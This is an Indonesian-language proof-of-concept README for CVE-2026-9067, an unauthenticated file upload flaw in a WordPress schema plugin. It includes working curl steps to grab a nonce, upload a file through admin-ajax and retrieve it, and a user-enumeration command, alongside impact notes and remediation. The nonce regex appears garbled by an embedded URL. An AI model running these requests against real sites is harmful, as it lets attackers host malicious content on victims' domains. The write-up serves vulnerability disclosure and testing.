POC & Xploit - Proof of Concept Directory

Dokumentasi dan exploit untuk vulnerability yang ditemukan di environment WordPress security testing.

Daftar Vulnerability

CVE-2026-9067

Quick Summary

Vulnerability Description

Plugin Schema & Structured Data for WP & AMP sebelum versi 1.60 tidak memvalidasi capability user pada AJAX handlers untuk upload file dan tidak memvalidasi tipe file yang diupload. Ini memungkinkan attacker yang tidak ter-autentikasi untuk mengupload file arbitrary.

Impact

• Content Hosting: Attacker dapat host konten malicious di domain korban
• Disk Consumption: Upload file arbitrary dapat menghabiskan disk space
• Reputation Abuse: Distribusi malware, phishing pages dari domain korban

Catatan Penting: WordPress core memblokir file executable (.php, .phtml, .html, .svg), sehingga tidak ada path RCE langsung dari vulnerability ini.

Files

CVE-2026-9067/
├── CVE-2026-9067.md       # Dokumentasi lengkap (file ini)
├── CVE-2026-9067.py       # Python exploit dengan multi-threading
├── CVE-2026-9067.sh       # Bash/Shell PoC script
└── CVE-2026-9067_exploit.sh  # Alternative Bash PoC

Quick PoC

# Step 1: Get nonce
NONCE=$(curl -s "https://yorbit7.ddev.site/" | grep -oP 'saswp_rf_(page_)?security_nonce["\x27]?\s*:\s*["\'](https://github.com/polosss/by-poloss..-..cve-2026-9067/blob/HEAD/%5Ba-f0-9%5D%7B10%7D)["\']' | grep -oP '[a-f0-9]{10}' | head -1)

# Step 2: Upload arbitrary file
curl -X POST 'https://yorbit7.ddev.site/wp-admin/admin-ajax.php' \
  -F 'action=saswp_rf_form_image_upload' \
  -F "saswp_rf_form_nonce=$NONCE" \
  -F '[email protected];type=image/png;filename=evil.csv'

# Step 3: Access uploaded file
curl -s "https://yorbit7.ddev.site/wp-content/uploads/$(date +%Y)/$(date +%m)/evil.csv"

Environment Information

Testing Commands

Check Site Status

curl -s -o /dev/null -w "%{http_code}" https://yorbit7.ddev.site

Check Plugin Version

curl -s https://yorbit7.ddev.site/wp-content/plugins/schema-and-structured-data-for-wp/readme.txt | grep -i "Stable tag:"

Enumerate Users

curl -s https://yorbit7.ddev.site/wp-json/wp/v2/users | jq '.[] | {id, name, slug}'

Remediation

1. Upgrade Plugin: Update Schema & Structured Data for WP & AMP ke versi 1.60 atau lebih baru
2. Disable Plugin: Jika upgrade tidak memungkinkan, nonaktifkan plugin
3. Hardening:
   • Set DISALLOW_FILE_MODIFICATIONS constant
   • Disable PHP execution di uploads directory via .htaccess
   • Implement WAF rules

References

• NVD CVE-2026-9067
• WPScan Vulnerability Database
• WordPress Plugin Page
• Original Researcher: 0xBassia